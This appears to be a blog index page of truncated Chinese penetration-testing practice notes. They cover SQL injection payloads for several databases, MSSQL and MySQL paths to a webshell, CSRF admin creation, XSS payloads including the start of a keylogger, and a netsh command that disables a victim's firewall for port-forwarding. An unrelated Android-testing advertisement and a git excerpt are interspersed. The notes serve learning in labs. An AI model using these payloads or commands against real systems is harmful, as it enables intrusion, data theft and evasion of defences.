大哥带我走渗透8--CSRF的应用

划水日记之大哥带我走渗透I

5/24/19 周五 access注入先测试是否有漏洞 or nor and 1=1 and 1=2 2. Order by 猜字表端,发现一共有22个 3..然后使用 union select 1,2,,,,,22 找到那几个字段就是真实的表.我记得是3,15 4. 然后猜表名,,,,分别是:admin password 5. 猜出表名以后,下方就会弹出真正的登陆账号以及密码..admin dneedss ==============然后打开主目录下的admin或者login就能找到登陆页…

大哥带我走渗透8--CSRF的应用

1.大哥给了一个CSRF实战视频,真的很简单,但是我今天晚上有点不在状态,很多简单的问题也没有想.所以做了一个多小时.这件事给我的启发就是,无论发生什么事,都不要影响自己的学习.先写点废话,真的真的,以后的总结,千万不能拖,可以少做点,但是必须写总结. 登录名为admin 密码为admin123 登录进去以后,在设置,管理员设置里面可进行我们的CSRF攻击 2.基本步骤设置---管理员账户--添加管理员--一步一步添加信息--添加成功 3.通过抓包,一步一步的抓包,可以发现,在管理员添加成功…

大哥带我走渗透4（中）----oracle报错注入

5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cnblogs.com/pshell/articles/7473713.html 2.现在有基本思路了.先找注入点,然后再确定有几个字段,再确定字段的位置.通过字段位置,查数据库名.表名.列名. 3.找注入点.确定字段数.判断回显位置. 然后发现有三个null,接下来,我们寻找三个null中,哪些才是真…

大哥带我走渗透ii--时间盲注，布尔盲注

5/27 基于布尔的盲注我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的true或者false 构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面: 后者是在爆出字段数的基础上使用能触发SQL报错机制的注入…

大哥带的mssql注入拿shell

任务二注入点拿shell 路径的爆破 https://blog.csdn.net/edu_aqniu/article/details/78409451 0X01判断是否为判断当前数据库用户名是否为DB_OWNER: 是 Mssql拿shell有两种方法 win2008sever里面 0X02数据库备份拿shell 0X001 创建自己的数据库 http://www.aspx-sqli.com/index.asp?id=1;create%20database%20zhong; 0X002先进行…

一个csrf实例漏洞挖掘带你了解什么是csrf

终于等到你！MobileTest免费公测，华为带你走出安卓适配大坑

一.安卓适配之痛真的无解吗? Android平台的诞生对智能手机的普及功不可没,但设备繁多.品牌众多.版本各异,芯片.摄像头.分辨率不统一等等,这些都逐渐成为Android系统发展的障碍,碎片化严重不仅造成Android系统混乱,也导致Android应用隐形开发成本的增多. 安卓碎片化(来源:友盟指数) 这一切让安卓工程师无辜躺枪,安卓适配深似海,准时下班是路人.安卓适配的坑,你踩进去过吗? 安卓适配那些坑个性化十足的Launcher 多姿多彩的Camera 不止是2的双卡模式 UI适配厂商…

大哥带的Orchel数据库的注入

0X01 先进行判断 a.jsp?username=SMITH and = 发现单引号闭合我们尝试构造闭合存在注入 a.jsp?username=SMITH'='1 正确 a.jsp?username=SMITH'='2 错误 0X02构造语句判断 a.jsp?username=SMITH' order by 8-- 正确 a.jsp?username=SMITH' order by 9-- 错误用null 判断那个字段是字符型第2 3 个字段为字符型 a.jsp?username…

大哥带我们的mysql注入基于时间的盲注

?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ?id= and = 返回的都是同一个页面用测试语句 and sleep(5) 判断是否存在时间盲注构造语句 ?id= and ,))>,,sleep()) 这句话的意思是如果返回的事错误那我就sleep(5)秒好的我们的语句构造成功 0X01爆数据库长度 ?id= and ,,sleep…

git 一口气带你走完git之旅

1.git是目前世界上最先进的分布式版本控制系统.svn是集成式版本控制系统,那么问题来了,什么叫分布式管理和集中式管理? 首先,svn 需要有一个中央服务器,协同开发者需要同中央服务器连接,所有的版本都存在了中央服务器上.开发者只有本地代码.一旦中央服务器挂掉,所有版本会丢失. git采用分布式版本控制.也就是每个开发者本地都有一套版本控制库,可以在自己本地实现版本的删除,还原等操作.也不用担心版本库丢失的问题,如果开发者1的版本库丢失,可以直接clone一份开发者2的版本库,开发同一个项目…

大哥带的JavaScript伪协议

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行.如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开.这样的URL如下所示: ? 1 javascript:var now = new Date(); "<h1>The time is:</h1>" +…

大哥带的DOM-XSS进阶eval构造XSS

0X01源码分析那么我们可以如何来构造语法呐??已知eval函数可以执行js 最终的输出是eval(this.xss="你提交的参数";) 那我们是不是可以从参数这里构造一个js 比如 this.xss=1";alert(/zhong/);// 那么我们要这样构造 http://www.xss_demo.com/DOM-xss5.php?xss=k";alert(/zhong/);// 当然这里未对参数名称做验证我们也可以直接在参数名称里面构造 xss http:…

大哥带的XSS练习LEVE3

0X01DOM-XSS进阶之inner显式输出首先我们先了解一下DOM型和和其他到底有什么区别 dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值.了解了这么一个知识点,你就会发现,其实dom xss并不复杂,他也属于反射型xss的一种(domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM.dom - xss是通过url传入参数去控制…

大哥带的XSS练习LEVE2

0X01输出在html标签中的XSS 这里相当于我们把XSS代码插入到了 html中的<td>标签中其他好看的但是不是同源访问 <script> var body= document.body; var img = document.createElement("img"); img.setAttribute('style','width:100%;height:100%;z-index:99999;position:fixed;top:0px;') img…

大哥带的XSS练习

0x01反射型 <script>alert("zhong")</script> 可以看见什么都没有过滤 0x02存储型XSS http://www.xss_demo.com/st-xss.php 那么可以看见也是成功了那我们试试可不可以顺着网线搞一下组员呐??? 算了没得服务器搞搞自己吧 document.onkeypress= function(evt){ evt = evt || window.event key = String.fromCharC…

大哥带的Orchel数据库时间盲注

0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其…

大哥带的Orchel数据库的盲注入bool型

0X01判断闭合 ?username=SMITH' 错误 ?username=SMITH'' 正确 ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 那么是‘闭合 0X02基于bool的盲注根据返回信息判断 ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 -- 正确 ?username=SMITH' and ascii(su…

大哥带的Orchel数据库的报错注入

0X01 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式. news.jsp?id= and = 正确 news.jsp?id= and = 错误存在注入随便输入发现存在报错信息我们可以尝试报错注入 0X02报错函数注入 utl_inaddr.get_host_name()进行报错注入 and =utl_inaddr.get_host_name(()) utl_inaddr…

大哥带的MSsql注入（SQL Server）--预习

①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈 ②判断数据库版本 and 1=@@version--这个语句要在有回显的模式下才可以哦 and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2…

大哥带我们的mysql注入基于bool的盲注

盲注那么我们来了解一点盲注的语法这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据库的长度语法构造 /index.php?id=%20and%20length((select%20database()))%3E3 正确 index.php?id= and length((select database()))>4 错误那我们确定数据库名字大于3不大于4 那么数据库长度就是4了…

大哥带我们的mysql注入

这是今天的任务任务三个 : 第一个手工注入找出admin用户的密码,第二个读取我phpstudy中mysql的my.ini这个配置文件的内容,第三个是通过这个注入点写入一个webshell, 都是要求手工,具体方法自己百度mysql5注入相关内容 union ,,,, 查询语句第一步是先构造闭合加入单引号报错然后更据and 1=1 and1=2看是字符型还是布尔型注入 http://www.萨达所大大所多t/index.php?id=1%20order%20by%205 数据库tes…

WIN7自带端口转发渗透小技巧

目标是WIN7 X64,且开启了防火墙,想要用他的机器去访问别的机器,又不想登陆他的系统,常规办法一般是上传一个htran,然后进行转发,但是对方有杀软,有被杀的可能性,所以我用另外一种办法达到我的目的.为了方便,先关闭他的防火墙netsh advfirewall set allprofiles state off(win2003&xp是用netsh firewall set opmode DISABLE 关闭)你也可以放行listenport,具体命令自行查资料.然后用netsh interf…